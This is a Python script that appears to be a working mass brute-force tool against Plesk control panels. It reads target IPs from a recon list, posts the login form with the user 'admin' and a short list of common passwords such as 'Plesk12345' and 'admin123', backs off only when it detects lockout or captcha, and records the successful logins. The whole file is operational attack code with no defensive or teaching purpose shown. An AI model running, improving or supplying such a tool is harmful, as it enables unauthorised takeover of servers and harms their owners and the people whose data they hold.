import asyncio, re, time
import aiohttp

SEM = asyncio.Semaphore(18)
PASSWORDS = ["Plesk12345", "admin123", "Password1", "qwerty123", "letmein", "12345678"]
LOCK = ("too many failed", "brute force", "captcha")


def load():
    out = []
    for line in open("/root/recon/lists/zimbra.txt"):
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out


async def get_form(sess, base):
    async with sess.get(base + "/login_up.php", ssl=False) as r:
        html = await r.text()
    f = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
    for k in ("login_name", "passwd"):
        f.pop(k, None)
    f.setdefault("locale_id", "en-US")
    return f


async def post_login(sess, base, fields, user, pwd):
    d = dict(fields)
    d["login_name"] = user
    d["passwd"] = pwd
    async with sess.post(base + "/login_up.php", data=d, ssl=False, allow_redirects=False) as r:
        body = await r.text()
        loc = r.headers.get("Location") or ""
    low = body.lower()
    ok = r.status in (301, 302, 303) and "login" not in loc.lower()
    return ok, any(x in low for x in LOCK), r.status, loc[:60]


async def host_run(sess, h, winners, stats):
    ip, port, sc = h
    bases = [f"{sc}://{ip}:{port}", f"{'https' if sc == 'http' else 'http'}://{ip}:{port}"]
    fields = None
    base = bases[0]
    for b in bases:
        try:
            fields = await get_form(sess, b)
            base = b
            break
        except Exception:
            continue
    if fields is None:
        stats["err"] += 1
        return
    for pwd in PASSWORDS:
        try:
            ok, lock, st, loc = await post_login(sess, base, fields, "admin", pwd)
        except Exception:
            stats["err"] += 1
            return
        stats["try"] += 1
        if ok:
            async with sess.get(base + "/admin/", ssl=False) as r:
                t = await r.text()
            m = re.search(r"(?is)<title[^>]*>(.*?)</title>", t)
            title = m.group(1).strip()[:40] if m else ""
            winners.append((ip, port, "admin", pwd, st, loc, title))
            print(f"!! LOGIN {ip}:{port} admin/{pwd} st={st} loc={loc} title={title}", flush=True)
            return
        if lock:
            stats["lock"] += 1
            return
        await asyncio.sleep(0.4)


async def main():
    hosts = load()
    print("hosts", len(hosts), flush=True)
    tout = aiohttp.ClientTimeout(total=25, connect=8, sock_read=15)
    winners, stats = [], {"try": 0, "lock": 0, "err": 0}
    t0 = time.time()
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as sess:
        async def guarded(h):
            async with SEM:
                await host_run(sess, h, winners, stats)
        await asyncio.gather(*[guarded(h) for h in hosts])
    print(f"done {time.time()-t0:.0f}s tries={stats['try']} locks={stats['lock']} err={stats['err']} wins={len(winners)}", flush=True)
    open("/root/recon/plesk_winners5.tsv", "w").write("\n".join("\t".join(map(str, w)) for w in winners))
    print("WINS:", winners, flush=True)

asyncio.run(main())
